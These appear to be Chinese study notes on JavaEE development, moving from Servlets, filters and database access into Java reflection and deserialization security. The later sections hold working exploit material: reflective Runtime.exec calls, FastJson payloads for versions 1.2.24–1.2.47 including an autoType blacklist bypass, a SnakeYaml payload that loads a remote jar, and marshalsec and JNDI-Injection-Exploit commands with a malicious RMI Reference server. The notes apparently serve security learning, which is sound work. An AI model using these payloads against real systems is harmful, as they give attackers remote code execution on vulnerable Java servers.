JavaEE-IDEA 开发

安装IDEA,激活后安装开发插件
安装JDK,Tomcat,新建项目并配置

1.Servlet

Servlet是运行在Web服务器 或应用服务器上的程序,它是作为来自Web浏览器或其他HTTP客户端的请求和HTTP服务器上的数据库或应用程序之间的中间层。使用Servlet可以收集来自网页表单的用户输入,呈现来自数据库或者其他源的记录,还可以动态创建网页。

创建和使用Servlet

1、创建一个类继承HttpServlet

Servlet执行顺序
快捷键:alt+insert

写入内置方法(init service(doget dopost、destroy等) )

2、web.xml配置Servlet路由

post方法

如何接收用户提交的参数并输出在页面

3、WebServlet配置Servlet路由(推荐)

处理接受和回显

HttpServletRequest是ServletRequest的子接口
getParameter(name) — String 通过name获得值
getParameterValues — String[ ] 通过name获得多值
HttpServletResponse是ServletResponse的子接口
setCharacterEncoding() 设置编码格式
setContentType() 设置解析语言
getWriter() 获得一个PrintWriter字符输出流输出数据
PrintWriter 接受符合类型数据

2.过滤器Filter&监听器Listen

JavaEE-过滤器-Filter
Filter被称为过滤器,过滤器实际上就是对Web资源进行拦截,做一些处理后再交给下一个过滤器或Servlet处理,通常都是用来拦截request进行处理的,也可以对返回的 response进行拦截处理。开发人员利用filter技术,可以实现对所有Web资源的管理,例如实现权限访问控制、过滤敏感词汇、压缩响应信息等一些高级功能。

1、创建过滤器

2、过滤器内置方法

init doFilter destroy

调试下方法执行顺序

3、过滤器触发流程(WebFilter或web.xml)

@WebFilter("/index")
 

<filter>
    <filter-name>xssFilter</filter-name>
<filter-class>com.example.filter.xssFilter</filter-class>
</filter>
<filter-mapping>
    <filter-name>xssFilter</filter-name>
    <url-pattern>/index</url-pattern>
</filter-mapping>

tomcat服务器一打开就触发过滤器的init方法

当 Tomcat 服务器启动(或 Web 应用部署阶段)时,Web 容器会主动扫描所有的 @WebFilter 注解或 web.xml 中的配置。 为了确保在任何外部请求进入之前,系统所有的全局防线(如鉴权、字符集统一、XSS 清洗)都已完全就绪,容器会在应用启动阶段立即实例化所有的 Filter 类,并调用其 init() 方法。整个应用生命周期中,init() 只会被执行一次。

4、案例演示

xss攻击的检测

5、过滤器安全场景

Payload检测,权限访问控制,红队内存马植入,蓝队清理内存马等
内存马参考:https://mp.weixin.qq.com/s/hev4G1FivLtqKjt0VhHKmw

Listen

参考:https://blog.csdn.net/qq_52797170/article/details/124023760

-监听ServletContext、HttpSession、ServletRequest等域对象创建和销毁事件
-监听域对象的属性发生修改的事件
-监听在事件发生前、发生后做一些必要的处理

1、创建监听器

2、监听器内置方法

4、案例演示-session存在的监听

5、监听器安全场景

代码审计中分析执行逻辑触发操作,红队内存马植入,蓝队清理内存马等

3.Maven

IDEA配置maven

下载好设置环境变量后,在命令窗口输入命令mvn -v检查Maven是否安装成功:

配置本地仓库,路径设为刚才创建的文件夹

镜像添加阿里云

4.数据库

1.jdbc

java连接mysql数据库

引用依赖(pom.xml)

https://mvnrepository.com/

注册数据库驱动

Class.forName("com.mysql.jdbc.Driver");

建立数据库连接

String url ="jdbc:mysql://localhost:3306/phpstudy";
Connection connection=DriverManager.getConnection(url,"root","123456");

创建Statement执行SQL

Statement statement= connection.createStatement();
ResultSet resultSet = statement.executeQuery(sql);

结果ResultSet进行提取

拼接不安全写法导致的SQL注入

安全写法(预编译):PreparedStatement

安全写法(预编译): "select * from admin where id=?"
//固定执行语句,无论在这个执行语句加什么内容都不会改变执行语句本身

使用setInt设置预编译的值

2.Hibernate

引用依赖(pom.xml)

Hibernate配置文件(操作数据库)

Java 运行时环境与 MySQL 引擎建立物理 TCP 连接的“握手协议书”。它向底层框架提供了目标服务器的 IP、端口、账密以及需要纳入接管范围的映射实体类。

src/main/resources/hibernate.cfg.xml


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hibernate-configuration PUBLIC
        "-//Hibernate/Hibernate Configuration DTD 3.0//EN"
        "http://www.hibernate.org/dtd/hibernate-configuration-3.0.dtd">
<hibernate-configuration>
    <session-factory>
        <property name="connection.driver_class">com.mysql.cj.jdbc.Driver</property>
        <property name="connection.url">jdbc:mysql://localhost:13306/demo01?useSSL=false&amp;serverTimezone=UTC</property>
        <property name="connection.username">root</property>
        <property name="connection.password">123456</property>

        <property name="dialect">org.hibernate.dialect.MySQL8Dialect</property>

        <property name="show_sql">true</property>
        <property name="format_sql">true</property>

        <mapping class="com.example.entity.Admin"/>
    </session-factory>
</hibernate-configuration>

映射实体类 开发

将底层关系型数据库(二维表结构)强行转换为 Java 内存中的对象(面向对象结构)的“映射锚点”。类名对应物理表名,属性(如 id, username)严格对应物理列名。

src/main/java/com/example/entity/Admin.java

Hibernate工具类

JVM 内存的“闸门”。利用 Java 的静态代码块(static {})机制,确保极度消耗内存的 SessionFactory(数据库连接池、预编译语法树缓存)在整个 Tomcat 生命周期中只被实例化一次,防止内存溢出(OOM)和数据库连接被打满。

src/main/java/com/example/util/HibernateUtil.java

Servlet开发接受(sql执行代码在这)

不安全写法

安全写法

强制类型转换

预编译

3.MyBatis

引用依赖(pom.xml)

MyBatis配置文件(数据库账号密码)

注册映射器,即告诉 MyBatis 框架去哪里加载底层的 SQL 规则(指向 AdminMapper.xml)。

src/main/resources/mybatis-config.xml

AdminMapper.xml创建(执行sql语句)

src/main/resources/AdminMapper.xml

数据实体类(存储数据)

AdminMapper.java (映射器接口)

它是一个纯接口,不包含任何业务实现逻辑。它向业务层暴露了操作数据库的方法(例如 getAdminByIdUnsafe),明确了该方法接收什么类型的输入参数(String id)以及返回什么类型的结果(List<Admin>)。其存在意义是让 Java 代码以强类型、面向对象的方式调用数据接口。

MyBatisTest.java (测试类)

安全写法和不安全写法对比

5.反射

1、什么是Java反射
参考:https://xz.aliyun.com/t/9117
Java提供了一套反射API,该API由Class类与java.lang.reflect类库组成。该类库包含了Field、Method、Constructor等类。对成员变量,成员方法和构造方法的信息进行的编程操作可以理解为反射机制。
 
2、为什么要用到反射
参考:https://xz.aliyun.com/t/9117
其实从官方定义中就能找到其存在的价值,在运行时获得程序或程序集中每一个类型的成员和成员的信息,从而动态的创建、修改、调用、获取其属性,而不需要事先知道运行的对象是谁。划重点:在运行时而不是编译时。(不改变原有代码逻辑,自行运行的时候动态创建和编译即可)
简单来说就是比如有个类,类下面有方法、变量等东西,利用这个反射技术就能实时操作这个类下的方法、变量等东西(读、写、修改等)
 
3、反射机制应用
开发应用场景:
Spring框架的IOC基于反射创建对象和设置依赖属性。
SpringMVC的请求调用对应方法,也是通过反射。
JDBC的Class#forName(String className)方法,也是使用反射。
 
4、反射安全应用场景:
构造利用链,触发命令执行
反序列化中的利用链构造
动态获取或执行任意类中的属性或方法
动态代理的底层原理是反射技术
rmi反序列化也涉及到反射操作

公有私有保护成员变量

有参和无参构造函数

成员方法

1.Class对象类获取

import com.user.User;

public class GetClass {
    public static void main(String[] args) throws ClassNotFoundException {
        //1、根据全限定类名:Class.forName("全路径类名")
        Class aClass1 = Class.forName("com.user.User");
        System.out.println(aClass1);
        //2、根据对象:对象.getClass()
        User user = new User();
        Class<? extends User> aClass2 = user.getClass();
        System.out.println(aClass2);
        //3、根据类名:类名.class
        Class userClass = User.class;
        System.out.println(userClass);
        //4、通过类加载器获得Class对象://ClassLoader.getSystemClassLoader().loadClass("全路径类名");
        ClassLoader clsload=ClassLoader.getSystemClassLoader();
        Class<?> aClass3 = clsload.loadClass("com.user.User");
        System.out.println(aClass3);
    }
}

2.Field成员变量类获取

获取公共成员变量对象(public)

获取所有成员变量

获取公共单个成员变量对象

获取私有单个成员变量对象

变量值获取和赋值

3.Constructor构造方法类获取

获取所有公共的构造方法(public)

获取所有的构造方法

返回单个公共构造方法

无参

有参

获取单个的构造方法

对构造方法进行操作(两个参数string,int)

对构造方法进行执行(1个参数string)

4.Method成员方法(非构造)类获取

返回所有公共成员方法对象的数组 ,包括继承的

返回所有成员方法对象的数组,不包括继承的
返回单个成员方法对象

运行方法invoke

安全问题

反射实现命令执行

Runtime.getRuntime().exec("calc");

反射

public class TestCalc {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        //Runtime.getRuntime().exec("calc");
        Class<?> aClass = Class.forName("java.lang.Runtime");
//        Method[] declaredMethod = aClass.getDeclaredMethods();
//        for (Method md:declaredMethod){
//            System.out.println(md);
//        }
        Method getRuntime = aClass.getDeclaredMethod("getRuntime");
    }
}

下面找exec

Class aClass = Class.forName("java.lang.Runtime"); //获取类
//用method获取成员方法
Method getRuntimeMethod = aClass.getMethod("getRuntime"); //获取成员方法
Method exec = aClass.getMethod("exec", String.class); //获取exec
Object runtime = getRuntimeMethod.invoke(aClass);
exec.invoke(runtime, "calc.exe");

另外一种写法

Class c1= Class.forName("java.lang.Runtime"); //获取类
Constructor m = c1.getDeclaredConstructor();  //获取私有构造函数
m.setAccessible(true);
c1.getMethod("exec", String.class).invoke(m.newInstance(), "calc");
//m.newInstance()堆内存中新建了一个 Runtime 对象实例,获取 exec 方法,并在刚刚强行实例化的新 Runtime 对象上执行该方法,传入参数 "calc"

6.动态代理

代理模式 Java当中最常用的设计模式 之一。其特征是代理类与委托类有同样的接口,代理类主要负责为委托类预处理消息、过滤消息、把消息转发给委托类,以及事后处理消息等。而Java的代理机制分为静态代理和动态代理,这里主要是java自带的jdk动态代理机制

动态代理

1.创建接口及定义方法

2.实现被代理对象

调用处理器 

重写invoke方法

创建代理对象并调用方法

客户端/代理生成

Proxy.newProxyInstance 是 Java 动态代理 的核心方法,用于在运行时生成实现指定接口的代理类,并将方法调用转发给指定的 InvocationHandler。它的本质是在 内存中动态生成字节码,无需手写代理类,从而实现 AOP 等功能。

它需要三个参数:

  • 参数 1 (ClassLoader):指定用哪个类加载器去定义这个生成的代理类。通常使用目标类或接口的加载器。

  • 参数 2 (Interfaces):告诉代理类需要实现哪些接口。因为传了 User.class,所以生成的 proxy 对象可以被强制转换为 User 类型。这也是为什么它能调用 wcy 方法。

  • 参数 3 (InvocationHandler):指定方法的转发目的地。当有人调用 proxy.wcy() 时,JVM 会直接去运行 userImptInhander 里的 invoke 方法。

安全案例:Ysoserial-CC1链-LazyMap

其导致的安全问题是远程代码执行(RCE, Remote Code Execution)。攻击者可以通过发送精心构造的序列化数据,让目标服务器在反序列化(执行 readObject())的过程中,自动执行系统命令(如弹出计算器、反弹 Shell 等)。

以下是该漏洞的核心机制以及动态代理在其中扮演的具体角色解析:

1. 漏洞核心:反序列化与 Gadget Chain

Java 在进行反序列化时,会自动调用对象内部的 readObject() 方法来恢复对象状态。如果类路径(Classpath)中存在存在缺陷的第三方库(如这里的 Apache Commons Collections),攻击者可以利用这些库中已有的类和方法,拼接成一条执行链(Gadget Chain)。

图 1 注释部分清晰地展示了这条链的触发过程:

  1. 入口点 (Source)ObjectInputStream.readObject() 被服务器调用,解析恶意数据。

  2. 触发器:自动调用 AnnotationInvocationHandlerreadObject()

  3. 跳板 (Bridge):动态代理的 invoke() 方法被触发。

  4. 执行器 (Sink):最终调用 InvokerTransformer,通过反射机制执行 Runtime.getRuntime().exec()

2. 动态代理的安全隐患

在正常的业务代码中,动态代理用于 AOP 或解耦。但在反序列化攻击中,动态代理被用作连接入口点和恶意执行类的“桥梁(Bridge)”

  • AnnotationInvocationHandlerreadObject() 方法内部,默认只会对其成员变量(一个 Map 对象)调用 .entrySet() 方法。这个操作本身是无害的,无法直接执行命令。

  • 代理的介入(图 2 createMemoizedProxy:攻击者在构造 Payload 时,并没有传入一个真实的 HashMap,而是利用 Proxy.newProxyInstance 生成了一个实现了 Map 接口的动态代理对象 (mapProxy),并将其注入到 AnnotationInvocationHandler 中。

  • 劫持控制流(图 1 AnnotationInvocationHandler.invoke: 当目标服务器反序列化执行到 Map.entrySet() 时,由于这个 Map 是代理对象,程序的控制流会被强制劫持,跳转到代理绑定的 InvocationHandlerinvoke() 方法中。

  • 触发恶意逻辑:在这个 CC1 链的变种中,代理绑定的 Handler 依然是 AnnotationInvocationHandler。它的 invoke() 方法内部有逻辑会调用底层 Map(此处被攻击者替换为了恶意的 LazyMap)的 .get() 方法。

  • LazyMap.get() 会触发预先设置好的 ChainedTransformer,最终通过反射完成命令执行。

总结

图中的代码本身是一个攻击载荷(Payload)生成器。它暴露的安全问题在于:当应用程序对不可信输入进行反序列化时,如果类路径中存在可利用的类(如带反射调用功能的类),攻击者可以利用动态代理机制(将普通方法调用转化为 invoke 拦截),将原本无害的反序列化操作,强行重定向到恶意的反射调用链上,从而接管服务器。

7.序列化和反序列化

序列化:将内存中的对象压缩成字节流

反序列化:将字节流转化成内存中的对象

几种创建的序列化和反序列化协议

• JAVA内置的writeObject()/readObject()

• JAVA内置的XMLDecoder()/XMLEncoder

• XStream

• SnakeYaml

• FastJson

• Jackson

为什么会出现反序列化安全问题

内置原生写法分析

• 重写readObject方法

• 输出调用toString方法

反序列化利用链

(1) 入口类的readObject直接调用危险方法

(2) 入口参数中包含可控类,该类有危险方法,readObject时调用

(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

(4) 构造函数/静态代码块等类加载时隐式

序列化-writeObject()

序列化对象的数据

设置对象数据并调用序列化方法,写入文件

反序列化-readObject()

利用

重写readObject方法

toString方法

序列化的对象被输出就会调用toString方法

尝试弹出计算器

利用链必须具备“自包含性(Self-contained)

一条标准的反序列化利用链,其攻击载荷的触发必须是自动完成的,完全不依赖反序列化完成后的外部业务代码。下面严格来说不是利用链

其他类的readObjecttoString方法(反序列化类对象可控)

反序列化利用链

利用链也叫"gadget chains",通常称为gadget:
1、共同条件:实现Serializable或者Externalizable接口,最好是jdk自带或者JAVA常用组件里有
2、入口类source:(重写readObject 调用常见函数 参数类型宽泛 最好jdk自带)
3、调用链gadget chain:相同方法名、相同类型
4、执行类sink:RCE SSRF 写文件等等

实现形式

(1) 入口类的readObject直接调用危险方法

重写了 readObject() 方法

(2) 入口参数中包含可控类,该类有危险方法,readObject时调用

URLDNS 链

(3) 入口类参数包含可控类,该类又调用其他有危险方法类,readObject调用

通过多个中间类(跳板)进行方法传递,最终到达执行危险逻辑的类。

(4) 构造函数/静态代码块等类加载时隐式执行

JNDI 注入

反序列化导致服务器去远程 RMI/LDAP 服务器下载恶意 .class 文件。类文件下载到本地后进行类加载,静态代码块自动执行,完成 RCE。

利用条件

1、可控的输入变量进行了反序列化操作

你输入的数据被网站接收并进行了反序列化操作

2、实现了Serializable或者Externalizable接口的类的对象

3、能找到调用方法的危险代码或间接的利用链引发(依赖链)

UrlDns链

利用链跟踪 

java.util.HashMap实现了Serializable接口满足条件后,通过HashMap里面的hash到key.hashCode(),key的转变URL类,再到hashCode为-1触发URLStreamHandler.hashCode
HashMap->readObject
HashMap->putVal(put)        
HashMap->hash
key.hashCode->
URL.hashCode->              
handler.hashCode->
URLStreamHandler.getHostAddress

urldns利用链

参考:https://mp.weixin.qq.com/s/R3c5538ZML2yCF9pYUky6g

搞清楚入口类,需要修改的值,需要传递的值,
创建一个HashMap泛型,(后续操作URL类即int类型值)
在创建一个url连接,(将要请求的地址写入对应代码的U)
用put方法把url数据存放到里面,触发putVal(hash(key)
其中hash里面会调用key.hashCode()
最终触发点是key,所以我们就需要给key的类型设置成URL类,
通过逻辑让hashCode的值为-1后调用handler.hashCode即URLStreamHandler.hashCode,最终调用里面的getHostAddress实现

FastJson反序列化

参考:https://mp.weixin.qq.com/s/t8sjv0Zg8_KMjuW4t-bE-w

类里有存储的数据,set方法以及get方法

1、序列化方法

JSON.toJSONString(),对象转换为JSON字符串;
JSONObject.toJSONString(u,SerializerFeature.WriteClassName)
JSON.toJSONBytes(),对象转换为byte数组;

2.反序列化方法

JSON.parseObject(),返回JsonObject;
JSON.parse(),返回Object;
JSON.parseArray(), 返回JSONArray;
将JSON对象转换为java对象:JSON.toJavaObject();
将JSON对象写入write流:JSON.writeJSONString();

安全问题

无参构造

反序列化(如 JSON 转对象)或数据依赖注入(如 Spring Bean 创建)时,框架底层依赖 Java 反射机制(Reflection)。由于框架在初始阶段无法预知对象的具体参数,它必须先调用无参构造创建一个“空壳实例”,随后再通过其他机制填充数据。如果类中缺失无参构造方法,反序列化通常会抛出异常。

有参构造

执行 new User("xiaodi", 33, 1) 时调用

getset 的核心作用

在面向对象编程(如 Java)中,为了保证数据的安全性,类的成员变量通常被声明为私有(private)。getset 是暴露给外部的公开接口,用于合法地访问和修改这些私有变量。这一机制被称为封装

  • get 方法(Getter / 读取器):用于向外部返回私有变量的值。将内存中的 Java 对象转换为外部传输格式(如生成 JSON 响应给前端)时触发。

  • set 方法(Setter / 设置器):用于接收外部传入的值,并将其赋给私有变量。开发者可以在此方法内部添加逻辑校验(例如限制 age 不能小于 0)。在反序列化过程中,将外部对象转化为java对象时触发。框架执行完无参构造创建“空壳”后,会解析外部数据的键名(如 "name": "xiaodi"),通过反射精准定位并执行 setName("xiaodi"),完成数据的注入

序列化固定类后,反序列化不指定类后
parse方法在调用时会调用set方法

parseObject在调用时会调用set和get 方法

序列化固定类后,反序列化指定类后,parseObject在调用时会调用set方法

Fastjson 自动调用 setget 方法的机制,是其历史上多次爆发远程代码执行漏洞(RCE,Remote Code Execution)的根本原因。

漏洞触发机制:

  1. 任意类加载: 如果程序接收了来自外部不受信任的 JSON 字符串,攻击者可以恶意构造 @type 字段,指定为一个带有危险操作的类(在安全领域称为 Gadget 类)。

  2. 劫持执行流: Fastjson 会根据 @type 盲目地反射实例化这个类。

  3. 触发恶意代码: 攻击者在 JSON 中伪造特定的属性键值对。Fastjson 为了注入这些属性,会调用该 Gadget 类的 setget 方法。如果这些方法内部包含了危险的底层操作(例如 JNDI 查找、文件读写、动态方法调用),攻击者就能直接接管服务器。

安全利用链

演示:1.2.24及1.2.25版本
结论:反序列化时会调用类里的get及set方法
利用:已知类的调用方法 自带类的调用链固定版本的CVE
黑盒看传递JSON数据尝试替换 白盒看库版本和反序列化方法和对应可控变量
参考:https://mp.weixin.qq.com/s/EPdNElXPcZd5wEmQqAhFiQ

fastjson1.2.24版本

JDK自带链-JdbcRowSetImpl:
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String payload = "{" +
                "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"dataSourceName\":\"rmi://xx.xx.xx.xx/xxxx\", " +
                "\"autoCommit\":true" +
                "}";
JSON.parse(payload);

反序列化对象:com.sun.rowset.JdbcRowSetImpl
改动的成员变量:dataSourceName   autoCommit

setdataSourceName->getdataSourceName
setautoCommit->connect->DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

RMI注入:触发RCE
DataSource var2 = (DataSource)var1.lookup("rmi://192.168.1.2:1099/jvelrl");

生成RMI恶意调用类:

"C:\Program Files\Java\jdk1.8.0_111\bin\java.exe" -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"

从1.2.25开始,官方加入了黑白名单机制。若使用1.2.24的poc,会发现报错“autoType is not support”,这是因为官方在com.alibaba.fastjson.parser.ParserConfig加入了checkAutoType()方法,当autotypesupport属性为false时,就会检测json中@type的值开头是否与黑名单中的值一样,若一样则会直接抛出异常。

POC1:【1.2.25-1.2.41】

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://vps_ip:9999/badClassName","autoCommit":true}
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{" +
                "\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
                "\"dataSourceName\":\"rmi://192.168.230.1:1099/zsxpdx\", " +
                "\"autoCommit\":true" +
                "}";
        JSON.parse(payload);

这个POC给首尾添加了L和;,这是因为当autoTypeSupport开启或expectClass不为空时,会调用TypeUtils.loadClass()方法。若类名以L开头;结尾,就会把首尾这两个字符去掉并加载类。

String payload = "{" + "\n" +
                "    \"a\": {" + "\n" +
                "        \"@type\": \"java.lang.Class\"," + "\n" +
                "        \"val\": \"com.sun.rowset.JdbcRowSetImpl\"" + "\n" +
                "    }," + "\n" +
                "    \"b\": {" + "\n" +
                "        \"@type\": \"com.sun.rowset.JdbcRowSetImpl\"," + "\n" +
                "        \"dataSourceName\": \"rmi://192.168.230.1:1099/zsxpdx\"," + "\n" +
                "        \"autoCommit\": true" + "\n" +
                "    }\n" +
                "}";
        JSON.parse(payload);

1.声明类型为基础类 java.lang.Class。 // 这会导致 Fastjson 分配无安全限制的 MiscCodec 反序列化器来处理当前逻辑。

2. MiscCodec 会提取 val 的值,通过底层 TypeUtils.loadClass() 加载该目标类。 // 加载成功后,由于底层逻辑缺陷,该恶意类会被强制写入到 Fastjson 的全局信任缓存池 (TypeUtils.mappings) 中。

1.2.25-1.2.32:未开启AutoTypeSupport时可以成功利用,开启AutoTypeSupport时不能成功。

1.2.33-1.2.47版本:无论是否开启AutoTypeSupport都可以成功利用。

checkAutoType() 在执行安全检查时,核心执行顺序如下:

  • 查缓存: 检查 Fastjson 的内部全局缓存 TypeUtils.mappings 中是否已经加载过这个类。如果存在,系统认为这是一个“安全且可信”的类,直接放行并返回目标类

  • 查黑白名单: 检查类名是否在黑名单或白名单内。

  • 查开关: 检查 autoTypeSupport 是否为 true。如果是 false,则抛出异常拦截。

1. 1.2.25 - 1.2.32 版本:缓存检查位于黑名单之后

在这个阶段的版本中,checkAutoType 的代码执行流是这样的:

  • 当开启 AutoTypeSupport (为 true) 时:

    1. 程序首先进入 if (autoTypeSupport) 逻辑块。

    2. 在该逻辑块内,立刻执行黑名单校验

    3. 因为 com.sun.rowset.JdbcRowSetImpl 早就被 Fastjson 加入了黑名单,校验命中,程序直接抛出异常并终止。

    4. 结果:利用失败。代码根本还没来得及执行到下面去查缓存,就被拦截了。

  • 当你关闭 AutoTypeSupport (为 false,默认状态) 时:

    1. 程序判断开关为 false,跳过上述的 if 逻辑块(完美避开了第一波黑名单检查)。

    2. 代码继续往下走,执行到了查缓存逻辑 (TypeUtils.getClassFromMapping)。

    3. 因为缓存中已经被 POC 的第一阶段塞入了恶意类,此时缓存命中,直接 return clazz; 返回该类。

    4. 结果:利用成功。后续的拦截逻辑被彻底绕过。

2. 1.2.33 - 1.2.47 版本:查缓存被移到了函数最开头

在 1.2.33 的代码更新中,Fastjson 开发者可能认为“只要是存在于自身缓存里的类,就一定是我们自己加载过的、安全的类”,为了优化性能,他们把查缓存的逻辑上移到了整个 checkAutoType 函数的绝对第一位

在这个阶段的版本中,代码执行流变成了这样:

  1. POC 第二阶段请求实例化 JdbcRowSetImpl,进入 checkAutoType

  2. 函数执行的第一步:查缓存 (TypeUtils.getClassFromMapping)。

  3. 因为缓存早就被投毒,缓存瞬间命中,直接 return clazz; 结束整个函数

  4. 结果:无论如何都成功。 因为在第一步就 return 了,代码永远没有机会向下执行去判断 AutoTypeSupport 是 true 还是 false,也永远没有机会去触碰黑名单检测代码。

SnakeYaml序列化

SnakeYaml反序列化
SnakeYaml是Java中解析yaml的库,而yaml是一种人类可读的数据序列化语言,通常用于编写配置文件等。

SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化:
Yaml.load():反序列化 将YAML格式的字符串或文件内容转换成Java对象;
Yaml.dump():序列化 将一个Java对象转化为yaml文件形式;
测试总结:load和loadas(dump)都调用了对应的set方法

依赖

<dependency>
  <groupId>org.yaml</groupId>
  <artifactId>snakeyaml</artifactId>
  <version>1.32</version>
</dependency>

参考:https://www.cnblogs.com/F12-blog/p/18151239

URL链(JAVA自带链)

JNDI注入

String dump="!!com.sun.rowset.JdbcRowSetImpl\n" +
                "dataSourceName: \"ldap://192.168.230.1:1389/puidtz\"\n" +
                "autoCommit: true\n";
                //com.sun.rowset.JdbcRowSetImpl是java自带类\n;

RCE(自带链+利用SPI机制)

https://github.com/artsploit/yaml-payload/

编译项目源码(把该项目打包成一个jar)-命令编译

"C:\Program Files\Java\jdk1.8.0_111\bin\javac.exe" src/artsploit/AwesomeScriptEngineFactory.java
"C:\Program Files\Java\jdk1.8.0_111\bin\jar.exe" -cvf yaml-payload.jar -C src/ .
python -m http.server 9999

String dump ="!!javax.script.ScriptEngineManager [\n" +
                " !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://127.0.0.1:9999/yaml-payload.jar\"]\n" +
                "  ]]\n" +
                "]\n";

该利用链完全不使用 JNDI。它通过 URLClassLoader 直接下载远程 Jar 包,并利用 SPI 原生的服务发现机制触发恶意类加载。由于执行路径彻底避开了 JNDI API,它成功绕过了 JDK 针对 JNDI 的安全防御策略限制,实现了实战中的高危利用。

8.jndi注入

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。

Java为了将Object对象存储在NamingDirectory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在NamingDirectory服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()看到 Reference 就会自动去 URL 指向的地方下载代码并在本地运行

RMI服务中调用了InitialContext.lookup()的类有:

org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

LDAP服务中调用了InitialContext.lookup()的类有:

InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()

这两行代码就是典型支持jndi注入的条件

InitialContext varr1=new InitialContext();
varr1.lookup("rmi://192.168.230.1:1099/yy3bm8");

修改为dns协议

JNDI注入-工具-marshalsec

项目地址:https://github.com/mbechler/marshalse

这个项目就是自己写一个危险代码类,然后编译成class文件放到网站目录下,用该项目生成一个调用地址,相当于中转作用。

1、编译调用对象(生成class文件)

javac Test.java

2、将生成的Class存放到网站访问路径,使用利用工具生成调用协议(rmi,ldap)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#Calc

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8888/#Calc

3、触发JNDI注入

JNDI注入-工具-JNDI-Injection-Exploit

项目地址:https://github.com/welk1n/JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx

JNDI注入-手工

bind:将名称绑定到对象中;
lookup:通过名字检索执行的对象;
Reference类表示对存在于命名/目录系统以外的对象的引用。
Reference参数:
className:远程加载时所使用的类名;
classFactory:加载的class中需要实例化类的名称;
classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

1、Server注册监听

// 在本地服务器开启一个监听在 7778 端口的 RMI Registry(RMI 注册中心)
        // 该端口用于接收受害者客户端发起的 JNDI lookup 请求
        Registry registry = LocateRegistry.createRegistry(7778);
        
        // 构造恶意的 JNDI Reference(引用对象)
        // 参数1 "Calc" (className): 指示客户端该引用对应的目标类名为 Calc
        // 参数2 "Calc" (factory): 指示客户端实例化该对象所需的工厂类名为 Calc
        // 参数3 "http://127.0.0.1:8089/" (factoryLocation): Codebase 地址。利用 JNDI 底层机制,强制指示客户端通过 HTTP 协议去该地址下载 Calc.class 字节码文件
        Reference reference = new Reference("Calc", "Calc", "http://127.0.0.1:8089/");
        
        // RMI 规范要求绑定到注册中心的对象必须实现 java.rmi.Remote 接口
        // 因为 javax.naming.Reference 原生未实现该接口,必须使用 ReferenceWrapper 进行合法化包装
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        
        // 将包装好的恶意引用对象绑定到刚才开启的 RMI 注册中心,并命名为 "RCE"
        // 最终暴露给受害者的完整请求路径为:rmi://127.0.0.1:7778/RCE
        registry.bind("RCE", wrapper);

Clinet连接触发

String uri = "rmi://127.0.0.1:7778/RCE";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);

JDK高版本注入绕过

JDK 6u45、7u21之后
java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加RMI ClassLoader安全性。

JDK 6u141、7u131、8u121之后
增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后
增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

9.XStream

一个简单的基于Java库,将Java对象序列化为XML,反之亦然(即:可以轻易的将Java对象和XML相互转换)。

1.4.5版本

序列化Car类

Car car = new Car("Ferrari", 4000000);
XStream xStream = new XStream();
String xml = xStream.toXML(car);
System.out.print(xml);

执行代码把数据转换为xml格式

反序列化Car类

String xml = "上述序列化类的数据";
XStream xStream = new XStream();
xStream.fromXML(xml);

和原生反序列化的异同点

XStream 本质上是一个将 Java 对象与 XML 文本进行互相转换的第三方库。正常情况下,XStream 反序列化时会利用反射机制(或 sun.misc.Unsafe)直接在内存中分配对象并为属性赋值,它默认并不会去调用对象的 readObject 方法

导致这两者表现一致的根本原因,在于你XML Payload 中的这行关键代码: <Car serialization="custom">

  • serialization="custom" 的特殊作用: 这是 XStream 协议中的一个特殊指令。当 XStream 解析到这个属性时,它会改变默认的反射赋值行为,转而模拟 Java 原生的反序列化流程

  • 底层模拟: XStream 内部会实例化一个名为 CustomObjectInputStream 的类,由这个类去显式地调用目标类(Car)中自定义的 private void readObject() 方法,以此来完成对象的重构。

 核心区别在哪里?

